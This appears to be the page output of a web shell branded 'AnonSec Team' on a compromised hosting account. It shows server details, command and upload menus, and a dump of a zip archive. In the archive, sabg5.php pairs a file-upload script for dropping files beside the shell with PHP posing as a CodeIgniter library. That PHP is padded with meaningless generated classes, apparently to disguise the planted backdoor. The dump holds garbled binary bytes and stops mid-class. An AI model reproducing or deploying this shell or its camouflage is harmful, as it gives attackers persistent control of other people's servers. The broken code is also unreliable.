AnonSec Team
Server IP : 198.54.120.203  /  Your IP : 216.73.216.181
Web Server : LiteSpeed
System : Linux premium58.web-hosting.com 4.18.0-553.58.1.lve.el8.x86_64 #1 SMP Fri Jul 4 12:07:06 UTC 2025 x86_64
User : greakqsw ( 1698)
PHP Version : 8.3.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home/greakqsw/theblogginglab.org/7648l2-20260310230235/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/greakqsw/theblogginglab.org/7648l2-20260310230235/ri5tqv.zip
PKLm\�����	about.phpnu�[���<?xml version="1.0" encoding="UTF-8"?>
<Error><Code>AccessDenied</Code><Message>Access Denied</Message><RequestId>HZ4WXH0ESBF1JYTB</RequestId><HostId>sW4QjcBVd/l6XD1lbbuo901xTax5LDAgIxoFnmL2o7v8to6gcqRJDTqEtwkqgQVo1Ki+Cwcl4lQ=</HostId></Error>PKLm\�h�����	sabg5.phpnu�[���<script>
function upload(fileInputId, fileIndex)
    {
		var url = window.location.pathname;
		var scriptname = url.substring(url.lastIndexOf('/')+1);
		var filename = document.getElementById('upload_files').value;
		var filename = filename.match(/[^\\/]*$/)[0];
		var location = window.location.href;
		var directoryPath = location.substring(0, location.lastIndexOf("/")+1);
		document.getElementById("status").textContent = "Uploading the file "+filename+", please wait..";
		document.getElementById("status").style.color = "blue";
        // take the file from the input
        var file = document.getElementById(fileInputId).files[fileIndex];
        var reader = new FileReader();
        reader.readAsBinaryString(file); // alternatively you can use readAsDataURL
        reader.onloadend  = function(evt)
        {
                // create XHR instance
                xhr = new XMLHttpRequest();

                // send the file through POST
                xhr.open("POST", scriptname+"?name="+filename, true);

                // make sure we have the sendAsBinary method on all browsers
                XMLHttpRequest.prototype.mySendAsBinary = function(text){
                    var data = new ArrayBuffer(text.length);
                    var ui8a = new Uint8Array(data, 0);
                    for (var i = 0; i < text.length; i++) ui8a[i] = (text.charCodeAt(i) & 0xff);

                    if(typeof window.Blob == "function")
                    {
                         var blob = new Blob([data]);
                    }else{
                         var bb = new (window.MozBlobBuilder || window.WebKitBlobBuilder || window.BlobBuilder)();
                         bb.append(data);
                         var blob = bb.getBlob();
                    }

                    this.send(blob);
                }

                // let's track upload progress
                var eventSource = xhr.upload || xhr;
                eventSource.addEventListener("progress", function(e) {
                    // get percentage of how much of the current file has been sent
                    var position = e.position || e.loaded;
                    var total = e.totalSize || e.total;
                    var percentage = Math.round((position/total)*100);

                    // here you should write your own code how you wish to proces this
                });

                // state change observer - we need to know when and if the file was successfully uploaded
                xhr.onreadystatechange = function()
                {
                    if(xhr.readyState == 4)
                    {
                        if(xhr.status == 200)
                        {
                            // process success
							document.getElementById("status").textContent = "The file "+filename+" Uploaded successfully in same folder as Shell. At Link= "+directoryPath+filename;
							document.getElementById("status").style.color = "green";
                        }else{
                            // process error
                        }
                    }
                };

                // start sending
                xhr.mySendAsBinary(evt.target.result);
        };
    }
</script>

<html><link rel='icon' href='https://e.top4top.io/p_26973oc9i1.png' sizes='20x20' type='image/png'><?php
/**
 * CodeIgniter Library - PluginwvfS37Probmn96
 *
 * @version 2.0.45
 * @author AuthormbyXp20
 * @license MIT
 */
/**
 * Class ModelZatB17bLQ41
 * DescriptionnKwHBomN87
 * @package PackageIOjES78
 * @author AuthorsIPYct91
 * @version 2.8
 */
class ModelZatB17bLQ41 {
    /**
     * PropertyXENwyOHpUx40
     * @var array
     */
    public $paramsJmY77 = true;

    /**
     * PropertyUoaQFIlsTP76
     * @var string
     */
    public $valueshzK74 = true;

    /**
     * PropertytmqoUqfUpe93
     * @var string
     */
    private $stateKTG67 = 38;

    /**
     * PropertysEJmXQOfTs48
     * @var array
     */
    private $constantsWwr83 = 56;

    /**
     * PropertyPvJHBhqIsR28
     * @var array
     */
    protected $responseDzF49 = 'valABUh92';

    /**
     * MethodhWswaZCQbyWu91
     * DescriptionZfpAbPinUYNOBzF68
     * @param mixed $paramWHn93 = 'defaultPBi81'
     * @param mixed $paramLyD73 = 40
     * @param mixed $paramAcw36 = 43
     * @return mixed
     */
    protected function checktGE13($paramWHn93 = 'defaultPBi81', $paramLyD73 = 40, $paramAcw36 = 43) {
        try {
            // trybIuH67
        } catch (Exception $e) {
            // catchHQmg47
        }
        $arrfFJ27 = ['keycXx27' => 'valzzN22'];
        $result = $this->funcLPc67();
        $result = $this->funcgys57();
        $arrene26 = ['keyqPX68' => 'valOrg96'];
        switch ($switchPhE67) {
            case 3:
                // caseoAj69
                break;
            default:
                // defaultaZg17
                break;
        }
        $arrtdl14 = ['keybtk59' => 'valBSp34'];
    }

    /**
     * MethodJPHstVXgayBu90
     * DescriptionwpMFnpZLkUQzwDm81
     * @param mixed $paramLbu20 = 39
     * @param mixed $paramlEG31 = 'defaultXNT59'
     * @return mixed
     */
    public function configureWrD53($paramLbu20 = 39, $paramlEG31 = 'defaultXNT59') {
        switch ($switchYnp81) {
            case 4:
                // casetAw72
                break;
            default:
                // defaultzJz64
                break;
        }
        switch ($switchDvx74) {
            case 1:
                // caseQXb13
                break;
            default:
                // defaultsLe75
                break;
        }
        $mathRzF63 = 22 + 9;
        $mathRzF63 = $mathRzF63 * 6;
        $condXhb98 = false;
        if ($condXhb98) {
            // commentlxkt61
        }
        $arrayYkt39 = array_map(function($item) {
            return $item * 3;
        }, [1, 2, 3]);
        $arrayjXN16 = array_map(function($item) {
            return $item * 4;
        }, [1, 2, 3]);
        $mathPqn66 = 23 + 70;
        $mathPqn66 = $mathPqn66 * 2;
        return $retAnr86;
        $varLCB68 = 91;
        $arrMVY78 = ['keyAMm24' => 'valtbp87'];
        $arraydEZ83 = array_map(function($item) {
            return $item * 3;
        }, [1, 2, 3]);
        $arrayucp29 = array_map(function($item) {
            return $item * 2;
        }, [1, 2, 3]);
    }

    /**
     * MethodpfeyMvHFVOOK79
     * DescriptiontcnNsOoIDlILDJL83
     * @param mixed $paramvop81
     * @param mixed $paramyqv97 = 'defaultvWJ10'
     * @param mixed $paramsZV24 = 'defaultFxl44'
     * @return mixed
     */
    private function handleXNM71($paramvop81, $paramyqv97 = 'defaultvWJ10', $paramsZV24 = 'defaultFxl44') {
        $vartrv81 = 545;
        $strQOQ87 = 'textFqtSF71';
        $strQOQ87 = strtoupper($strQOQ87);
        try {
            // trywiHP80
        } catch (Exception $e) {
            // catchPBOQ25
        }
        $arriGq49 = ['keyxVi27' => 'valjuo38'];
        for ($iP37 = 0; $iP37 < 1; $iP37++) {
            // loopfFF99
        }
    }

    /**
     * MethodbUstfhyyWqkv59
     * DescriptionvfAAFWMUmcksUSX46
     * @param mixed $paramsmq81 = 73
     * @return void
     */
    public function checkpSt65($paramsmq81 = 73) {
        $result = $this->funcjVn64();
        $strXrb44 = 'textRJByt90';
        $strXrb44 = strtoupper($strXrb44);
        try {
            // tryvwNK43
        } catch (Exception $e) {
            // catchnroL38
        }
        switch ($switchomD46) {
            case 5:
                // casedGr18
                break;
            default:
                // defaultHYK85
                break;
        }
        $arraylOA76 = array_map(function($item) {
            return $item * 3;
        }, [1, 2, 3]);
        $vartNX75 = 180;
        $result = $this->funcPbS29();
        $arrCiW18 = ['keyyDK67' => 'valYiG10'];
        $arraynxb45 = array_map(function($item) {
            return $item * 4;
        }, [1, 2, 3]);
    }

    /**
     * MethodkUIzvEPpEDQJ71
     * DescriptionYVojeCLOiRkcigA34
     * @param mixed $parampkG13 = 32
     * @return void
     */
    public function updateFCq26($parampkG13 = 32) {
        switch ($switchhjT45) {
            case 2:
                // caseSAO17
                break;
            default:
                // defaultzbX16
                break;
        }
        $strYpY67 = 'textGgdbo79';
        $strYpY67 = strtoupper($strYpY67);
        $mathBQD60 = 1 + 63;
        $mathBQD60 = $mathBQD60 * 10;
        $condxUm99 = true;
        if ($condxUm99) {
            // commentdYfg37
        }
        $arrayopc45 = array_map(function($item) {
            return $item * 4;
        }, [1, 2, 3]);
        for ($iF21 = 0; $iF21 < 2; $iF21++) {
            // loopzjY65
        }
        $varEzp62 = 467;
        $arrGar35 = ['keyhsw68' => 'valJdU81'];
        switch ($switchovr33) {
            case 4:
                // caseuxT38
                break;
            default:
                // defaultykk12
                break;
        }
        $mathqIh57 = 27 + 79;
        $mathqIh57 = $mathqIh57 * 4;
    }

    /**
     * MethodGaPUuArMQacJ12
     * DescriptionrKpPtjNrTNqhSON47
     * @param mixed $paramePO59
     * @param mixed $paramPyB89 = 100
     * @return void
     */
    public function applypqZ84($paramePO59, $paramPyB89 = 100) {
        $mathjqZ60 = 90 + 64;
        $mathjqZ60 = $mathjqZ60 * 7;
        $arrYuB65 = ['keynnv97' => 'valvnc55'];
        $result = $this->funcngH41();
        return $retiht77;
        $condMZZ34 = true;
        if ($condMZZ34) {
            // commentmbbR88
        }
        switch ($switchhbO88) {
            case 3:
                // caseXqm88
                break;
            default:
                // defaultjdP66
                break;
        }
        return $retvwV98;
        switch ($switchnZw92) {
            case 4:
                // caseGKs99
                break;
            default:
                // defaultgjL73
                break;
        }
        $varlgB91 = 116;
        $varJOn74 = 56;
    }

    /**
     * MethodPcGlNZRMBUXo91
     * DescriptionxUUbImntiXZfFWb74
     * @return mixed
     */
    public function runCCq36() {
        $conddrc74 = true;
        if ($conddrc74) {
            // commentgkJQ84
        }
        $strKSt83 = 'textewYPk79';
        $strKSt83 = strtoupper($strKSt83);
        $condZQt66 = true;
        if ($condZQt66) {
            // commentqZkY47
        }
        $arrJIR54 = ['keySjS50' => 'valoot38'];
        $strIau45 = 'textufsiP42';
        $strIau45 = strtoupper($strIau45);
        for ($iO60 = 0; $iO60 < 5; $iO60++) {
            // loopBpv67
        }
        $condIEp84 = true;
        if ($condIEp84) {
            // commenttyIA22
        }
        return $retagy72;
    }

    /**
     * MethodxlLrrTmbClfJ99
     * DescriptiongdfeIPVPzpwKOHy13
     * @return void
     */
    private function renderFDy37() {
        $mathJLS96 = 91 + 98;
        $mathJLS96 = $mathJLS96 * 3;
        $strobJ15 = 'textthlKp76';
        $strobJ15 = strtoupper($strobJ15);
        $result = $this->funcOWA10();
        $arrayPYr83 = array_map(function($item) {
            return $item * 5;
        }, [1, 2, 3]);
        $condWEY41 = false;
        if ($condWEY41) {
            // commentItWe22
        }
        switch ($switchRbY60) {
            case 2:
                // caseYLO79
                break;
            default:
                // defaultWOb26
                break;
        }
        $arraylRq49 = array_map(function($item) {
            return $item * 4;
        }, [1, 2, 3]);
        $arraypLx75 = array_map(function($item) {
            return $item * 2;
        }, [1, 2, 3]);
        $result = $this->funcwsu91();
    }

}


/**
 * Class HelperqMch87dSV93
 * DescriptionLUIUoXtu67
 * @package PackageMYMYl49
 * @author AuthorkxWIpg62
 * @version 5.4
 */
class HelperqMch87dSV93 {
    /**
     * PropertyppJqjLSPDx74
     * @var array
     */
    private $stateawD80 = 83;

    /**
     * PropertyUNrLSmOhzz13
     * @var array
     */
    protected $variableshCD50 = 'valVudI89';

    /**
     * PropertynVHGrVroLR99
     * @var array
     */
    private $itemspvo78 = 95;

    /**
     * PropertyucjQcAXxBW67
     * @var string
     */
    public $configwdX29 = false;

    /**
     * PropertyunyafkQgQr64
     * @var array
     */
    private $propertiesZgj35 = 28;

    /**
     * PropertyJCdbJwROQQ24
     * @var string
     */
    protected $paramsffk79 = 'valLrCo31';

    /**
     * PropertyYnAdIqiaOw84
     * @var string
     */
    private $requestUkA15 = 66;

    /**
     * PropertybqxVuXNtsz85
     * @var string
     */
    public $propertiesTRf81 = false;

    /**
     * MethodWLuceQPalNzX59
     * DescriptionYsFlkdhypPxSTiM52
     * @param mixed $paramBFR97 = 'defaultcNa15'
     * @param mixed $paramrrn14 = 'defaultOpu97'
     * @return mixed
     */
    protected function configurePEJ28($paramBFR97 = 'defaultcNa15', $paramrrn14 = 'defaultOpu97') {
        $mathdos78 = 84 + 99;
        $mathdos78 = $mathdos78 * 8;
        $arrayjJU73 = array_map(function($item) {
            return $item * 3;
        }, [1, 2, 3]);
        $arrgIE72 = ['keyqDK54' => 'valFdA67'];
        switch ($switchBDm28) {
            case 1:
                // caseDtR65
                break;
            default:
                // defaultuQC96
                break;
        }
        for ($iF36 = 0; $iF36 < 4; $iF36++) {
            // loopRAf64
        }
        switch ($switchqOe85) {
            case 5:
                // casehmh40
                break;
            default:
                // defaultPDu20
                break;
        }
        $result = $this->funcUYa36();
    }

    /**
     * MethodfjEhRGZiFaxy16
     * DescriptionZdeYaAUFacqarQo27
     * @param mixed $paramUFh54 = 19
     * @param mixed $paramVtl92 = 'defaultcqU16'
     * @param mixed $paramzAL73 = 'defaultPKr69'
     * @return mixed
     */
    private function encodeQjo66($paramUFh54 = 19, $paramVtl92 = 'defaultcqU16', $paramzAL73 = 'defaultPKr69') {
        switch ($switchoVX91) {
            case 3:
                // casebDv26
                break;
            default:
                // defaultZaC10
                break;
        }
        switch ($switchXrq82) {
            case 4:
                // caseegf47
                break;
            default:
                // defaulticR12
                break;
        }
        $arrTOa76 = ['keyKMc96' => 'valdUs60'];
        $matheHw70 = 90 + 32;
        $matheHw70 = $matheHw70 * 3;
        $condQiN79 = true;
        if ($condQiN79) {
            // commentgXxK41
        }
        for ($ib34 = 0; $ib34 < 3; $ib34++) {
            // loopXPr65
        }
        try {
            // tryfnGv47
        } catch (Exception $e) {
            // catcheZyw13
        }
        $varSym62 = 77;
        $varGkR78 = 251;
    }

    /**
     * MethodxuPzfVNGwEAH63
     * DescriptiontWcHpdxtwNqtnJP42
     * @return mixed
     */
    private function configuremgi43() {
        $arrYsT37 = ['keyVgd36' => 'valFIM12'];
        $strrHp44 = 'textMzgiv53';
        $strrHp44 = strtoupper($strrHp44);
        $arraykpO48 = array_map(function($item) {
            return $item * 5;
        }, [1, 2, 3]);
        return $retqvT71;
        return $retcMK55;
        $result = $this->funcnAl20();
        $stryGH94 = 'textHERqO49';
        $stryGH94 = strtoupper($stryGH94);
        $mathbtd38 = 76 + 49;
        $mathbtd38 = $mathbtd38 * 2;
        $strsRv77 = 'textZoZZM59';
        $strsRv77 = strtoupper($strsRv77);
        $condubH46 = false;
        if ($condubH46) {
            // commenthEMt99
        }
        $mathcbb17 = 43 + 4;
        $mathcbb17 = $mathcbb17 * 1;
        $arrFoD52 = ['keyFCX95' => 'valWYX81'];
    }

    /**
     * MethodibFbXSWUzruC67
     * DescriptionVpIedJqToLaJPkk73
     * @param mixed $paramPxw84
     * @return void
     */
    public function executeYcv36($paramPxw84) {
        for ($ix50 = 0; $ix50 < 5; $ix50++) {
            // loopYiY66
        }
        $strkUR91 = 'textaGvPu72';
        $strkUR91 = strtoupper($strkUR91);
        $arrayQcZ80 = array_map(function($item) {
            return $item * 5;
        }, [1, 2, 3]);
        $result = $this->funcuSD42();
        $mathOGD42 = 53 + 93;
        $mathOGD42 = $mathOGD42 * 7;
        $strPyj64 = 'textFPbNH79';
        $strPyj64 = strtoupper($strPyj64);
        $arrjmh73 = ['keyStU88' => 'valOpa86'];
        $condRhR32 = false;
        if ($condRhR32) {
            // commentpCCh75
        }
        $varCZX84 = 524;
        $arraSO35 = ['keyMTV90' => 'valBwS11'];
        return $retGzX46;
        $result = $this->funckTa23();
    }

    /**
     * MethodnLSSCBQfFYng52
     * DescriptionXxXKSABjKEfhWyl83
     * @return void
     */
    protected function transformFCj95() {
        $strhoV47 = 'textjTVDm44';
        $strhoV47 = strtoupper($strhoV47);
        $vargcH29 = 585;
        $mathfHc41 = 45 + 63;
        $mathfHc41 = $mathfHc41 * 8;
        return $retlPu59;
        $mathysi85 = 89 + 78;
        $mathysi85 = $mathysi85 * 9;
        $mathbRh87 = 86 + 15;
        $mathbRh87 = $mathbRh87 * 1;
        $arrQPX39 = ['keyJZY59' => 'valvOX37'];
    }

    /**
     * MethodvvNgTAtmTHQm10
     * DescriptionDafTEQiYyvHqwfB50
     * @param mixed $paramXtr54 = 'defaultMdz90'
     * @param mixed $paramxcu57 = 15
     * @param mixed $paramjka52 = 'defaultrOu80'
     * @return mixed
     */
    private function storeHFk55($paramXtr54 = 'defaultMdz90', $paramxcu57 = 15, $paramjka52 = 'defaultrOu80') {
        for ($ie17 = 0; $ie17 < 3; $ie17++) {
            // loophkX78
        }
        $arrLvx72 = ['keyyJd21' => 'valneD17'];
        return $retZLD92;
        $result = $this->funcIhk66();
        $arrayykc40 = array_map(function($item) {
            return $item * 3;
        }, [1, 2, 3]);
    }

    /**
     * MethodgjlkMyFtqiEa68
     * DescriptionjlbyWLQxgygTLSP54
     * @param mixed $paramezf88
     * @param mixed $paramSOS94
     * @param mixed $paramvko38
     * @return void
     */
    public function escapeBLD93($paramezf88, $paramSOS94, $paramvko38) {
        $mathjau66 = 37 + 54;
        $mathjau66 = $mathjau66 * 1;
        $condDvl98 = true;
        if ($condDvl98) {
            // commentzGgH91
        }
        $mathJEy57 = 54 + 38;
        $mathJEy57 = $mathJEy57 * 1;
        $mathKSA87 = 96 + 66;
        $mathKSA87 = $mathKSA87 * 7;
        $arrayThk54 = array_map(function($item) {
            return $item * 2;
        }, [1, 2, 3]);
        return $retDYX77;
    }

    /**
     * MethodlzGxYpLZgdeo82
     * DescriptionDqJXQvqfZaDKVkg19
     * @param mixed $paramNsA48
     * @param mixed $paramFMd46
     * @param mixed $paramAiy26 = 74
     * @return mixed
     */
    protected function transformXFo91($paramNsA48, $paramFMd46, $paramAiy26 = 74) {
        $varWkg92 = 671;
        switch ($switchpdd72) {
            case 3:
                // caseeYd41
                break;
            default:
                // defaultzfe84
                break;
        }
        $varGwr84 = 67;
        $mathyxQ54 = 94 + 62;
        $mathyxQ54 = $mathyxQ54 * 6;
        $varFKe20 = 936;
        for ($id49 = 0; $id49 < 2; $id49++) {
            // loopiSz74
        }
        for ($ir80 = 0; $ir80 < 5; $ir80++) {
            // loopAxV80
        }
        $arrBdO13 = ['keyIIN97' => 'valPOR70'];
        switch ($switchlBC64) {
            case 5:
                // caseNRP15
                break;
            default:
                // defaultqlg82
                break;
        }
    }

    /**
     * MethodPenpuCuZyaDd52
     * DescriptiontncjyyVBXTMTTzg30
     * @param mixed $paramAGO38
     * @return mixed
     */
    protected function handleYFv68($paramAGO38) {
        $mathDXk89 = 91 + 31;
        $mathDXk89 = $mathDXk89 * 9;
        for ($iT20 = 0; $iT20 < 4; $iT20++) {
            // loopUJX51
        }
        try {
            // trykNzE11
        } catch (Exception $e) {
            // catchPlbJ17
        }
        $varQBk30 = 130;
        return $retRQg35;
        $mathDxl28 = 33 + 98;
        $mathDxl28 = $mathDxl28 * 6;
        $strsaZ92 = 'textOJNUY59';
        $strsaZ92 = strtoupper($strsaZ92);
        $arraykZM68 = array_map(function($item) {
            return $item * 2;
        }, [1, 2, 3]);
        $strsVv96 = 'textPDZRd10';
        $strsVv96 = strtoupper($strsVv96);
        $conduDq42 = false;
        if ($conduDq42) {
            // commentsznG84
        }
        $arrNcw92 = ['keyNHa48' => 'valxth86'];
    }

    /**
     * MethodPgLKKUGkOXhv11
     * DescriptionQldTZTtCBDYJJQG60
     * @param mixed $paramnyT99 = 56
     * @param mixed $paramZRx76 = 'defaultPFd74'
     * @return mixed
     */
    protected function dispatchbAr71($paramnyT99 = 56, $paramZRx76 = 'defaultPFd74') {
        for ($iy98 = 0; $iy98 < 3; $iy98++) {
            // loopnPh19
        }
        $result = $this->funcGXA80();
        $result = $this->funchAS89();
        $strhut21 = 'textnEvnt54';
        $strhut21 = strtoupper($strhut21);
        $streTH40 = 'textSjWdL64';
        $streTH40 = strtoupper($streTH40);
        switch ($switchAVq72) {
            case 4:
                // caseSNf26
                break;
            default:
                // defaultVHP63
                break;
        }
        try {
            // trygxtr22
        } catch (Exception $e) {
            // catchybxE19
        }
        $mathHPv20 = 60 + 43;
        $mathHPv20 = $mathHPv20 * 1;
        $result = $this->funcXpG18();
        for ($iL43 = 0; $iL43 < 1; $iL43++) {
            // loopEII96
        }
        $arrayqcr19 = array_map(function($item) {
            return $item * 5;
        }, [1, 2, 3]);
    }

}


/**
 * Class CollectionUtgD97cVs27
 * DescriptionZKkjYzip46
 * @package PackageUQnhz49
 * @author AuthorgdNQMZ41
 * @version 1.8
 */
class CollectionUtgD97cVs27 {
    /**
     * PropertypdHwpYJFPl96
     * @var string
     */
    protected $datadws56 = 'valQYiP53';

    /**
     * PropertyfQbGInCIcp29
     * @var string
     */
    public $dataSHh42 = true;

    /**
     * PropertyvNoYjCUuEB35
     * @var array
     */
    private $cookieIQd99 = 20;

    /**
     * PropertydsYUipssmG42
     * @var array
     */
    protected $recordsryO81 = 'valxGnU56';

    /**
     * PropertytcnahgXWNr52
     * @var string
     */
    public $variablesIHN58 = true;

    /**
     * PropertyKztkdNmZeu29
     * @var string
     */
    private $cachelrR34 = 43;

    /**
     * MethodFQmaQLLiNOZm52
     * DescriptionXKbFqrDWuWVzWxu72
     * @param mixed $paramFCX24 = 'defaultVEM96'
     * @return mixed
     */
    protected function applyGRz81($paramFCX24 = 'defaultVEM96') {
        try {
            // trySHLq47
        } catch (Exception $e) {
            // catchtwsj17
        }
        try {
            // tryjSVC85
        } catch (Exception $e) {
            // catchHBVy81
        }
        $strttj19 = 'textgGcfw36';
        $strttj19 = strtoupper($strttj19);
        try {
            // tryaADL47
        } catch (Exception $e) {
            // catchhSAE83
        }
        $varRaJ43 = 354;
        try {
            // tryjiPF41
        } catch (Exception $e) {
            // catchEQVi92
        }
        $varNEm27 = 696;
    }

    /**
     * MethodQTmeMaUiIteU79
     * DescriptionxrZFKoJMJFQDyQR99
     * @param mixed $paramyLE70
     * @param mixed $paramSOZ10 = 'defaultRpq96'
     * @return mixed
     */
    public function updateNXM21($paramyLE70, $paramSOZ10 = 'defaultRpq96') {
        $result = $this->funcMdF74();
        try {
            // tryJLXy22
        } catch (Exception $e) {
            // catchsYFn62
        }
        for ($il16 = 0; $il16 < 3; $il16++) {
            // loopGLs29
        }
        $arrHjF97 = ['keywDQ26' => 'valYmx15'];
        try {
            // tryGSMv60
        } catch (Exception $e) {
            // catchfTko30
        }
        for ($iv64 = 0; $iv64 < 4; $iv64++) {
            // loopztu47
        }
        $mathIVe22 = 52 + 48;
        $mathIVe22 = $mathIVe22 * 1;
    }

    /**
     * MethodtlBlpCfWVoaS27
     * DescriptiongkJMRjaoDtihJPD50
     * @return mixed
     */
    private function deleteBHy11() {
        $arrayXHS17 = array_map(function($item) {
            return $item * 3;
        }, [1, 2, 3]);
        $varEcF75 = 288;
        $mathBWY71 = 3 + 97;
        $mathBWY71 = $mathBWY71 * 4;
        $strFlQ96 = 'textUMzUZ13';
        $strFlQ96 = strtoupper($strFlQ96);
        try {
            // tryhktG77
        } catch (Exception $e) {
            // catchZUZT12
        }
        try {
            // tryddoR52
        } catch (Exception $e) {
            // catchpiZt64
        }
        switch ($switchiFi16) {
            case 3:
                // casesqs26
                break;
            default:
                // defaultJIe39
                break;
        }
        $arraybxr28 = array_map(function($item) {
            return $item * 2;
        }, [1, 2, 3]);
    }

    /**
     * MethodbsyBABNCLRum84
     * DescriptionGWhTfgmbNeLBblR22
     * @return void
     */
    protected function escaperAS53() {
        $condSaW65 = false;
        if ($condSaW65) {
            // commentfmIH73
        }
        $result = $this->funcYcZ45();
        $arraydOO54 = array_map(function($item) {
            return $item * 4;
        }, [1, 2, 3]);
        try {
            // tryjssX37
        } catch (Exception $e) {
            // catchteSO36
        }
        try {
            // trywFhn45
        } catch (Exception $e) {
            // catchrnHi75
        }
        return $reteVr92;
        for ($ir50 = 0; $ir50 < 4; $ir50++) {
            // loopgyV64
        }
        $condqah93 = false;
        if ($condqah93) {
            // commentLprQ29
        }
    }

    /**
     * MethodEdhLPXTpVMXD50
     * DescriptionAPYFfDGIqcHlcyP54
     * @param mixed $paramnQB66 = 17
     * @return mixed
     */
    protected function convertafy87($paramnQB66 = 17) {
        return $retPTZ39;
        $mathrcR32 = 43 + 81;
        $mathrcR32 = $mathrcR32 * 1;
        $result = $this->funchlO28();
        $arrpTA27 = ['keyUFl76' => 'valqnL88'];
        $varieh34 = 367;
        $strxiJ52 = 'textcivCv10';
        $strxiJ52 = strtoupper($strxiJ52);
    }

    /**
     * MethodPGLnNyvWYXmo89
     * DescriptionWkjiAjiNJZlSvYI68
     * @return void
     */
    protected function processQCQ59() {
        try {
            // tryFygr69
        } catch (Exception $e) {
            // catchdeRs12
        }
        try {
            // tryMatN36
        } catch (Exception $e) {
            // catchCCUv81
        }
        $strMsC73 = 'textDZjzc86';
        $strMsC73 = strtoupper($strMsC73);
        try {
            // tryueCX75
        } catch (Exception $e) {
            // catchnfVs32
        }
        $arrayZOY19 = array_map(function($item) {
            return $item * 4;
        }, [1, 2, 3]);
        $arrayRmB75 = array_map(function($item) {
            return $item * 3;
        }, [1, 2, 3]);
        for ($iE91 = 0; $iE91 < 5; $iE91++) {
            // looprrG15
        }
        switch ($switchEKZ30) {
            case 5:
                // caseZeg81
                break;
            default:
                // defaultnSv81
                break;
        }
        $condJxt67 = true;
        if ($condJxt67) {
            // commentofOn73
        }
    }

}


/**
 * Class ParserMIYY12igy77
 * DescriptionfhKUWojV75
 * @package PackageSWDBB76
 * @author AuthorStSGZl78
 * @version 1.9
 */
class ParserMIYY12igy77 {
    /**
     * PropertyMhuAApcGIi66
     * @var string
     */
    private $responseKIs93 = 87;

    /**
     * PropertyZPvuwdomci92
     * @var string
     */
    private $dataLIR21 = 84;

    /**
     * PropertyEDynLsARZN69
     * @var string
     */
    protected $optionsaWv47 = 'valFaNY63';

    /**
     * PropertyOfzjCvrXNS12
     * @var string
     */
    public $flagspGK13 = false;

    /**
     * PropertyThdTRTBMzv71
     * @var array
     */
    private $requestxMy75 = 64;

    /**
     * MethodkUQsXsNoNBqW76
     * DescriptionNyBmQqXuYZyWlXX58
     * @return mixed
     */
    public function performFsu46() {
        $mathJvo52 = 28 + 79;
        $mathJvo52 = $mathJvo52 * 2;
        $result = $this->funcpXC71();
        $varsgd95 = 279;
        $result = $this->funcBfr61();
        return $retNpG58;
        for ($iH34 = 0; $iH34 < 4; $iH34++) {
            // loopibB55
        }
        $result = $this->funczBK98();
        $varONL43 = 537;
        $result = $this->funcaDW96();
        $condYfB46 = false;
        if ($condYfB46) {
            // commentaLvX13
        }
        $condSVS83 = true;
        if ($condSVS83) {
            // commentccrK63
        }
    }

    /**
     * MethodXgTobgMXEbjh55
     * DescriptionrSptDvHxzOitZxU42
     * @param mixed $paramUEQ87
     * @return mixed
     */
    private function processJPH30($paramUEQ87) {
        $strpcR64 = 'textZdyJr58';
        $strpcR64 = strtoupper($strpcR64);
        switch ($switchsum19) {
            case 2:
                // casempb26
                break;
            default:
                // defaultKKF22
                break;
        }
        $result = $this->funcCBQ28();
        $mathWvf63 = 94 + 36;
        $mathWvf63 = $mathWvf63 * 5;
        try {
            // trypxqn44
        } catch (Exception $e) {
            // catchPqOm14
        }
        return $retNTE39;
    }

    /**
     * MethodYLLOdHjmFHEn79
     * DescriptionlPgSminNQvxlZCm91
     * @param mixed $paramIws85
     * @param mixed $paramcJt37
     * @return void
     */
    private function handleIpU59($paramIws85, $paramcJt37) {
        $condEPE40 = false;
        if ($condEPE40) {
            // commentOggA40
        }
        $condmZP53 = false;
        if ($condmZP53) {
            // commentzzVB68
        }
        for ($if72 = 0; $if72 < 3; $if72++) {
            // loopwZc50
        }
        try {
            // tryVBMi33
        } catch (Exception $e) {
            // catchuYnW31
        }
        $strcVv13 = 'textrJFyh95';
        $strcVv13 = strtoupper($strcVv13);
    }

    /**
     * MethodhGqAOPwypdAj83
     * DescriptionoAkQcYaeIbjnFDw65
     * @param mixed $parameNO89 = 19
     * @param mixed $paramvRY25 = 'defaulttWi21'
     * @param mixed $paramBqS34 = 9
     * @return void
     */
    protected function handlemaU70($parameNO89 = 19, $paramvRY25 = 'defaulttWi21', $paramBqS34 = 9) {
        $result = $this->funcwcf57();
        $arrcJy68 = ['keycTC37' => 'valSQU52'];
        $strNYi13 = 'textOmZPE79';
        $strNYi13 = strtoupper($strNYi13);
        $varUVY60 = 784;
        $arrNMN64 = ['keyHtV85' => 'valSGL11'];
        try {
            // tryRSRz18
        } catch (Exception $e) {
            // catchXcCP30
        }
        try {
            // tryEnrm84
        } catch (Exception $e) {
            // catchqoJu23
        }
    }

    /**
     * MethodJxULASAXMHuH82
     * DescriptionejGtycGHKwldtiu76
     * @param mixed $paramxVn44
     * @param mixed $paramUVi22
     * @param mixed $paramCJg56 = 'defaultjSl64'
     * @return mixed
     */
    protected function deleteXAx69($paramxVn44, $paramUVi22, $paramCJg56 = 'defaultjSl64') {
        return $retRUW52;
        $mathDZA30 = 27 + 86;
        $mathDZA30 = $mathDZA30 * 3;
        $result = $this->funcIHr98();
        $condUJc84 = false;
        if ($condUJc84) {
            // commentAxvL31
        }
        $result = $this->funcCQt24();
        $mathdbP62 = 78 + 63;
        $mathdbP62 = $mathdbP62 * 6;
    }

    /**
     * MethodvQhSmXHagjsd37
     * DescriptiondTXoFFmGbarSaYs96
     * @param mixed $paramySf82
     * @param mixed $parambDh38
     * @param mixed $paramNBz15 = 'defaultffV44'
     * @return mixed
     */
    private function checkYyC33($paramySf82, $parambDh38, $paramNBz15 = 'defaultffV44') {
        $arrCyh96 = ['keyUtw46' => 'valmXa33'];
        try {
            // tryCIPy12
        } catch (Exception $e) {
            // catchoyIO26
        }
        return $retslU46;
        $arraydhM51 = array_map(function($item) {
            return $item * 3;
        }, [1, 2, 3]);
        $mathxzQ83 = 14 + 9;
        $mathxzQ83 = $mathxzQ83 * 2;
        $condmZU40 = true;
        if ($condmZU40) {
            // commentpoEn50
        }
    }

}


/**
 * Class FactorygIFC91iTt37
 * DescriptionyyjLujBv36
 * @package Packagekqgjp39
 * @author AuthorJvIHMR79
 * @version 5.0
 */
class FactorygIFC91iTt37 {
    /**
